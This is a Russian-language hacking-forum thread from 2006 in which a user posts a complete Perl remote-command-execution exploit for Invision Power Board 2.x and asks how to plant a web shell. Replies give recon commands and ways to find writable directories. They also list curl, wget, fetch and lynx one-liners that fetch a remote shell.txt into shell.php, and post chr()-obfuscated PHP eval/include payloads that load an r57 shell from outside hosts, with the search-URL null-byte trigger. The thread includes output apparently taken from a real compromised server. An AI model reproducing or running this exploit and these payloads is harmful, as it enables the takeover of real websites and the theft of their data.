Форумы Ipb 2.0* Могу выполнять команды, проблемма с заливкой шелла

Discussion in 'Уязвимости CMS/форумов' started by samsam, 27 Oct 2006.

  1. samsam

    samsam New Member

    Joined:
    27 Oct 2006
    Messages:
    12
    Likes Received:
    0
    Reputations:
    -4
    Кароч расклад такой...

    Воспользовался сплоитом

    все ок команды выполняются.
    ТОлько вот шелл заоить не могу, видимо отключены команды.

    ПОДСКАЖИТЕ ПЛИЗ КАК, сломать форум иль заити как АДМИН зарание благодарен САМ.


    PHP:
    #!/usr/bin/perl

    ## Invision Power Board 2.* commands execution exploit by RST/GHC
    ## vulnerable versions <= 2.1.5
    ## tested on 2.1.4, 2.0.2
    ##
    ## (c)oded by 1dt.w0lf
    ## RST/GHC
    ## http://rst.void.ru
    ## http://ghc.ru


    use IO::Socket;
    use 
    Getopt::Std;

    getopts("l:h:p:d:f:v:");

    $host     $opt_h;
    $dir      $opt_d;
    $login    $opt_l;
    $password $opt_p;
    $forum    $opt_f;
    $version  $opt_v || 0;

    $|++;

    header();
    if(!
    $host||!$dir||!$login||!$password||!$forum) { usage(); }

    print 
    "[~]    SERVER : $host\r\n";
    print 
    "[~]      PATH : $dir\r\n";
    print 
    "[~]     LOGIN : $login\r\n";
    print 
    "[~]  PASSWORD : $password\r\n";
    print 
    "[~]    TARGET : $version";
    print ((
    $version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
    print 
    "\r\n";

    {
    print 
    "\r\nCommand for execute or 'exit' for exit ";
    while(<
    STDIN>)
    {
            
    $cmd=$_;
            
    chomp($cmd);
            exit() if (
    $cmd eq 'exit');
            
    last;
         }
         
    $len length($cmd);
         for (
    $i=0$i<$len$i++)
            {
             
    $s substr($cmd,$i,1);
             
    $out.="chr(".ord($s).")";
             if(
    $i != $len-1
                {
                 
    $out.=".";
                }
              
            }
        
    $out "$out)."."chr(59).exit";
     }

    print 
    "[~] Login ... ";

    $sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
    $login    =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    $password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
    $post     'UserName='.$login.'&PassWord='.$password;
    $loggedin 0;
    print 
    $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
    print 
    $sock "Host: $host\r\n";
    print 
    $sock "Connection: close\r\n";
    print 
    $sock "Content-Type: application/x-www-form-urlencoded\n";
    print 
    $sock "Content-length: ".length($post)."\r\n\r\n";
    print 
    $sock "$post";
    print 
    $sock "\r\n\r\n";
    while (<
    $sock>)
    {  
     if(/
    session_id=([a-f|0-9]{32})/) { $sid = $1; }
    }
    $sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
    print 
    $sock "GET ${dir}index.php HTTP/1.1\r\n";
    print 
    $sock "Host: $host\r\n";
    print 
    $sock "Cookie: session_id=$sid;\r\n";
    print 
    $sock "Connection: close\r\n\r\n";
    while (<
    $sock>)
    {    
     if(/
    act=Login&amp;CODE=03/) { $loggedin 1last; }
    }
    if(
    $loggedin) { print " [ DONE ]\r\n"; }
    else { print 
    " [ FAILED ]\r\n"; exit(); }

    print 
    "[+] SID: $sid\r\n";

    print 
    "[~] Try get md5_check ...";
    $sock IO::Socket::INET->newProto => "tcp"PeerAddr => "$host"PeerPort => "80") || die "[-] CONNECTION FAILED";
    if(
    $version==1)
     {
     print 
    $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
     }
    else
     {
     print 
    $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
     }
    print 
    $sock "Host: $host\r\n";
    print 
    $sock "Cookie: session_id=$sid;\r\n";
    print 
    $sock "Connection: close\r\n\r\n";
    while (<
    $sock>)
     {  
     if(
    $version == && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/)  { $md5_check = $1; last; }
     if(
    $version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
     }
    close(
    $sock);
    if(
    $md5_check) { print " DONE ]\r\n"; print "[+] MD5_CHECK $md5_check\r\n"; }
    else { print " 
    FAILED ]\r\n"; exit(); }

    print "
    [~] Create new message ...";
    $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
    $created = 0;
    $text = 'eval(system('.$out.'()); //';
    $post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=Wazzzup&TopicDesc=&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
    print 
    $sock "POST ${dir}index.php HTTP/1.1\r\n";
    print 
    $sock "Host$host\r\n";
    print 
    $sock "Cookiesession_id=$sid;\r\n";
    print 
    $sock "Connectionclose\r\n";
    print 
    $sock "Content-Typeapplication/x-www-form-urlencoded\n";
    print 
    $sock "Content-length".length($post)."\r\n\r\n";
    print 
    $sock "$post";
    print 
    $sock "\r\n\r\n";
    while (<
    $sock>)
     {  
     if(/Location:/) { 
    $created = 1; last; }
     }
    if(
    $created) { print " DONE ]\r\n"; }
    else { print " 
    FAILED ]\r\n"; exit(); }

    $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
    print "
    [~] Search message ...";
    $post = 'keywords=eval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
    print 
    $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
    print 
    $sock "Host$host\r\n";
    print 
    $sock "Cookiesession_id=$sid;\r\n";
    print 
    $sock "Connectionclose\r\n";
    print 
    $sock "Content-Typeapplication/x-www-form-urlencoded\n";
    print 
    $sock "Content-length".length($post)."\r\n\r\n";
    print 
    $sock "$post";
    print 
    $sock "\r\n\r\n";

    while (<
    $sock>)
     {
     if(/searchid=([a-f|0-9]{32})/) { 
    $searchid = $1; last; }
     }

    if(
    $searchid) { print " DONE ]\r\n"; }
    else { print "
    FAILED ]\r\n"; exit(); }
    print "
    [+] SEARCHID$searchid\r\n";

    $get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00';
    print "
    Go to URL:\".$host.$dir.$get."";

    sub header()
     {
     print "
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~\r\n";   
     print " 
    Invision Power Board 2.commands execution exploit by RST/GHC\r\n";
     print "                    
    eDiTeD by DimaHbl4\r\n";
     print "
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  ~~~~~~~~~~~~~~\r\n";
     }
     
    sub usage()
     {
     print "
    r57ipbce.pl -<host> -<dir> -<login> -<password> -<forum> -<version>\r\n\r\n";
     print "
    <host>     - host where IPB installed e.g www.ipb.com\r\n";
     print "
    <dir>      - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
     print "
    <login>    - login of any exist user\r\n";
     print "
    <password> - and password too )\r\n";
     print "
    <forum>    - number of forum where user can create topic e.g 2,4etc\r\n";
     print "
    <version>  - forum version:\r\n";
     print "             
    2.0.*\r\n";
     print "             
    2.1.*\r\n";
     exit();
     }
     
  2. SladerNon

    SladerNon Ученик Христа

    Joined:
    6 Mar 2005
    Messages:
    1,633
    Likes Received:
    932
    Reputations:
    355
    Напиши тут вывод след-их команд:

    id
    uname -a
    which lynx links get wget fetch curl

    Ну и далее, найди директорию или файл с правами на запись. А дальше поможем залить шелл :))).
     
  3. samsam

    samsam New Member

    Joined:
    27 Oct 2006
    Messages:
    12
    Likes Received:
    0
    Reputations:
    -4
    id
    uid=501(www) gid=501(www) groups=501(www)

    uname -a
    Linux zmaximum.ru 2.6.11.5zm1_avi_smp #16 SMP Mon Oct 24 18:41:58 MSD 2005 i686 unknown unknown GNU/Linux

    ls -l

    total 1192 -rwxrwxrwx 1 dmitri elistagrp 12397 Jan 28 2006 admin.php drwxrwxrwx 2 dmitri elistagrp 4096 Jan 25 2006 blog -rw-r--r-- 1 dmitri elistagrp 138974 Jan 28 2006 blog_templates.xml drwxrwxrwx 4 dmitri elistagrp 4096 Jan 28 2006 cache drwxr-xr-x 2 dmitri elistagrp 4096 Sep 22 10:31 camera -rwxrwxrwx 1 dmitri elistagrp 8747 Oct 3 02:19 conf_global.php -rw-r--r-- 1 dmitri elistagrp 5535 Mar 8 2006 d21_aaimy_data.xml -rw-r--r-- 1 dmitri elistagrp 122326 Jan 28 2006 d21_shoutbox_data.xml -rw-r--r-- 1 dmitri elistagrp 2468 Mar 8 2006 d21_sma_data.xml -rw-r--r-- 1 dmitri elistagrp 3823 Mar 8 2006 fade.js -rw-r--r-- 1 dmitri elistagrp 1406 Jan 28 2006 favicon.ico -rwxrwxrwx 1 dmitri elistagrp 75504 Jan 28 2006 gallery_templates.xml drwxr-xr-x 3 dmitri elistagrp 4096 Jul 30 15:34 html -rwxrwxrwx 1 dmitri elistagrp 20038 Mar 9 2006 index.php -rw-r--r-- 1 dmitri elistagrp 6055 Jan 28 2006 init.php -rwxrwxrwx 1 dmitri elistagrp 447830 Jun 29 12:03 ipb_templates.xml -rwxrwxrwx 1 dmitri elistagrp 7678 Jan 28 2006 ipchat.php drwxrwxrwx 4 dmitri elistagrp 4096 Aug 9 11:08 ips_kernel drwxrwxrwx 2 dmitri elistagrp 4096 Aug 9 11:03 jscripts drwxrwxrwx 5 dmitri elistagrp 4096 Jan 23 2006 lang drwxrwxrwx 2 dmitri elistagrp 4096 Jan 23 2006 lofiversion -rw-r--r-- 1 dmitri elistagrp 21983 Feb 22 2006 mlite_settings.xml -rw-r--r-- 1 dmitri elistagrp 145041 Feb 22 2006 mlite_templates.xml drwxrwxrwx 6 dmitri elistagrp 4096 Oct 3 02:48 modules -rw-r--r-- 1 dmitri elistagrp 35439 Feb 13 2006 preview.PNG drwxrwxrwx 2 dmitri elistagrp 4096 Jan 23 2006 retail drwxrwxrwx 4 dmitri elistagrp 4096 Jan 24 2006 skin_acp drwxrwxrwx 7 dmitri elistagrp 4096 Jan 27 2006 skin_cache drwxrwxrwx 21 dmitri elistagrp 4096 Mar 8 2006 sources drwxrwxrwx 8 dmitri elistagrp 4096 May 31 15:10 style_avatars drwxrwxrwx 3 dmitri elistagrp 4096 Feb 20 2006 style_emoticons drwxrwxrwx 15 dmitri elistagrp 4096 Aug 15 16:27 style_images drwxrwxrwx 26 dmitri elistagrp 4096 Jan 28 2006 upgrade drwxrwxrwx 14 dmitri elistagrp 40960 Oct 26 22:41 uploads -rw-r--r-- 1 dmitri elistagrp 1012 Jun 21 09:02 winamp.gif
    А какие папкм доступные на запись???
     
  4. darky

    darky ♠ ♦ ♣ ♥

    Joined:
    18 May 2006
    Messages:
    1,773
    Likes Received:
    825
    Reputations:
    1,418
    samsam найди доступные папки-файлы на запись...

    find /дира сайта/ -perm -2 -ls (и то и то ищет)
    find /дира сайта/ -type d -perm -2 -ls (только папки доступные на запись)

    PS лол ))) ваще не понятно где шелл лежит.. )) пропалился ты чувак..
     
    #4 darky, 27 Oct 2006
    Last edited: 27 Oct 2006
  5. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    drwxrwxrwx-> папка в которую розрешина запись.
     
  6. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    проверь вывод команды id и глянь там за какого ты там пользователя команды выполняешь, потом ищи папки созданные этим пользователем и заливай туды
     
  7. samsam

    samsam New Member

    Joined:
    27 Oct 2006
    Messages:
    12
    Likes Received:
    0
    Reputations:
    -4
    id
    uid=501(www) gid=501(www) groups=501(www)

    ls -l

    total 1192 -rwxrwxrwx 1 dmitri elistagrp 12397 Jan 28 2006 admin.php drwxrwxrwx 2 dmitri elistagrp 4096 Jan 25 2006 blog -rw-r--r-- 1 dmitri elistagrp 138974 Jan 28 2006 blog_templates.xml drwxrwxrwx 4 dmitri elistagrp 4096 Jan 28 2006 cache drwxr-xr-x 2 dmitri elistagrp 4096 Sep 22 10:31 camera -rwxrwxrwx 1 dmitri elistagrp 8747 Oct 3 02:19 conf_global.php -rw-r--r-- 1 dmitri elistagrp 5535 Mar 8 2006 d21_aaimy_data.xml -rw-r--r-- 1 dmitri elistagrp 122326 Jan 28 2006 d21_shoutbox_data.xml -rw-r--r-- 1 dmitri elistagrp 2468 Mar 8 2006 d21_sma_data.xml -rw-r--r-- 1 dmitri elistagrp 3823 Mar 8 2006 fade.js -rw-r--r-- 1 dmitri elistagrp 1406 Jan 28 2006 favicon.ico -rwxrwxrwx 1 dmitri elistagrp 75504 Jan 28 2006 gallery_templates.xml drwxr-xr-x 3 dmitri elistagrp 4096 Jul 30 15:34 html -rwxrwxrwx 1 dmitri elistagrp 20038 Mar 9 2006 index.php -rw-r--r-- 1 dmitri elistagrp 6055 Jan 28 2006 init.php -rwxrwxrwx 1 dmitri elistagrp 447830 Jun 29 12:03 ipb_templates.xml -rwxrwxrwx 1 dmitri elistagrp 7678 Jan 28 2006 ipchat.php drwxrwxrwx 4 dmitri elistagrp 4096 Aug 9 11:08 ips_kernel drwxrwxrwx 2 dmitri elistagrp 4096 Aug 9 11:03 jscripts drwxrwxrwx 5 dmitri elistagrp 4096 Jan 23 2006 lang drwxrwxrwx 2 dmitri elistagrp 4096 Jan 23 2006 lofiversion -rw-r--r-- 1 dmitri elistagrp 21983 Feb 22 2006 mlite_settings.xml -rw-r--r-- 1 dmitri elistagrp 145041 Feb 22 2006 mlite_templates.xml drwxrwxrwx 6 dmitri elistagrp 4096 Oct 3 02:48 modules -rw-r--r-- 1 dmitri elistagrp 35439 Feb 13 2006 preview.PNG drwxrwxrwx 2 dmitri elistagrp 4096 Jan 23 2006 retail drwxrwxrwx 4 dmitri elistagrp 4096 Jan 24 2006 skin_acp drwxrwxrwx 7 dmitri elistagrp 4096 Jan 27 2006 skin_cache drwxrwxrwx 21 dmitri elistagrp 4096 Mar 8 2006 sources drwxrwxrwx 8 dmitri elistagrp 4096 May 31 15:10 style_avatars drwxrwxrwx 3 dmitri elistagrp 4096 Feb 20 2006 style_emoticons drwxrwxrwx 15 dmitri elistagrp 4096 Aug 15 16:27 style_images drwxrwxrwx 26 dmitri elistagrp 4096 Jan 28 2006 upgrade drwxrwxrwx 14 dmitri elistagrp 40960 Oct 26 22:41 uploads -rw-r--r-- 1 dmitri elistagrp 1012 Jun 21 09:02 winamp.gif
    И ГДЕ ТАМ МОЙ ID????
     
  8. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    id
    uid=501(www) gid=501(www) groups=501(www)
     
  9. Utochka

    Utochka Elder - Старейшина

    Joined:
    21 Dec 2005
    Messages:
    495
    Likes Received:
    106
    Reputations:
    54
    права не ахти )))
    глянул вывод команды ls -al, там же есть папки drwxrwxrwx вот попробуй туда заливать

    curl --output /kuda/zalivaem/shell.php http://otkuda.zalivaem.com/shell.txt
    fetch -o /kuda/zalivaem/shell.php http://otkuda.zalivaem.com/shell.txt
    wget -o /kuda/zalivaem/shell.php http://otkuda.zalivaem.com/shell.txt
    get http://otkuda.zalivaem.com/shell.txt > /kuda/zalivaem/shell.php
    links -source "http://otkuda.zalivaem.com/shell.txt" > /kuda/zalivaem/shell.php
    lynx -source http://otkuda.zalivaem.com/shell.txt > /kuda/zalivaem/shell.php
     
    #9 Utochka, 27 Oct 2006
    Last edited by a moderator: 27 Oct 2006
  10. samsam

    samsam New Member

    Joined:
    27 Oct 2006
    Messages:
    12
    Likes Received:
    0
    Reputations:
    -4
    Ни фига не че не выполняется
    Ситуация такая
    C:\>1.pl -h www.site.org -d /forums/ -l user -p pass -f 22 -v 0
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    Invision Power Board 2.* commands execution exploit by RST/GHC
    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    [~] SERVER : www.site.org
    [~] PATH : /forums/
    [~] LOGIN : user
    [~] PASSWORD : pass
    [~] TARGET : 0 - IPB 2.0.*
    [~] Login ... [ DONE ]
    [+] SID: 758a3333eaf4c82485785c17be49d61f
    [~] Try get md5_check ... [ DONE ]
    [+] MD5_CHECK : 3f1f3e57fec974df1360c447cef364fb
    [~] Create new message ... [ DONE ]
    [~] Search message ... [ DONE ]
    [+] SEARCHID: b8d3ddbfcbf65b005eefecbb7191811c

    Command for execute or 'exit' for exit #curl -o /tmp/shell.php http://site.ru/shell.php

    Go to www.site.org/forums/index.php?act=Search&CODE=show&searchid=45cf31c70a91f57ddcb09792b06d876e&search_in=posts&result_type=posts&highlite=eval&lastdate=z|eval.*?%20//)%23e%00

    Перехожу на эту страницу она пустая.
    Хочу запустить шел типа ввожу строку

    www.site.org/forums/tmp/shell.php
    ответ прост
    Not Found
    The requested URL http://www.site.org/forums/tmp/r.php was not found on this server.
    Помогите кто чем может.
     
  11. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    А нелутче тебе руками попробывать пороботать запостить пост с Чарсет и заинклудить шелл о РСТ :)

    Постиш пост например :

    PHP:
    eval( chr(105). chr(110). chr(99). chr(108). chr(117). chr(100). chr(101). chr(32). chr(34). chr(104). chr(116). chr(116). chr(112). chr(58). chr(47). chr(47). chr(104). chr(105). chr(109). chr(97). chr(115). chr(50). chr(48). chr(48). chr(53). chr(46). chr(110). chr(97). chr(114). chr(111). chr(100). chr(46). chr(114). chr(117). chr(47). chr(114). chr(53). chr(55). chr(115). chr(104). chr(101). chr(108). chr(108). chr(46). chr(112). chr(104). chr(112). chr(34). chr(59). chr(47). chr(42). chr(32) ); //
    Потом идёш в поиск пиши в поиске найти "Filter by Member Name (optional)" пишеш свой ник и ставиш
    "*" напротив "Show results as posts" и жмеш поиск потом в конец формы вставляеш "eval&lastdate=z|eval.*?%20//)%23e%00" и всё шелл от РСТ у тебя :)
     
    #11 _-[A.M.D]HiM@S-_, 28 Oct 2006
    Last edited: 28 Oct 2006
  12. samsam

    samsam New Member

    Joined:
    27 Oct 2006
    Messages:
    12
    Likes Received:
    0
    Reputations:
    -4
    Вот ты говорш постим пост а что в нем зашифрованно и как потом запустит шелл.???
    Если не сложно то ответь!!!
    Может давайц по асе спишемся??
     
  13. _-[A.M.D]HiM@S-_

    _-[A.M.D]HiM@S-_ Green member

    Joined:
    28 Dec 2005
    Messages:
    441
    Likes Received:
    454
    Reputations:
    696
    1. Постим сообщение eval(system(dir)); //'
    2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts
    3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00
    4. Enter. Выполняется dir.
     
  14. }{0TT@БЬ)Ч

    }{0TT@БЬ)Ч Elder - Старейшина

    Joined:
    20 Jan 2006
    Messages:
    269
    Likes Received:
    140
    Reputations:
    31
    1. Постим сообщение eval(system(dir)); //'

    А лучше постить такое сообщение eval(include(chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(115).chr(101).chr(114).chr(103).chr(101).chr(121).chr(120).chr(108).chr(46).chr(98).chr(121).chr(46).chr(114).chr(117).chr(47).chr(114).chr(53).chr(55).chr(115).chr(104).chr(101).chr(108).chr(108).chr(46).chr(112).chr(104).chr(112))); //
    и вуаля мы видим нам знакомый шелл.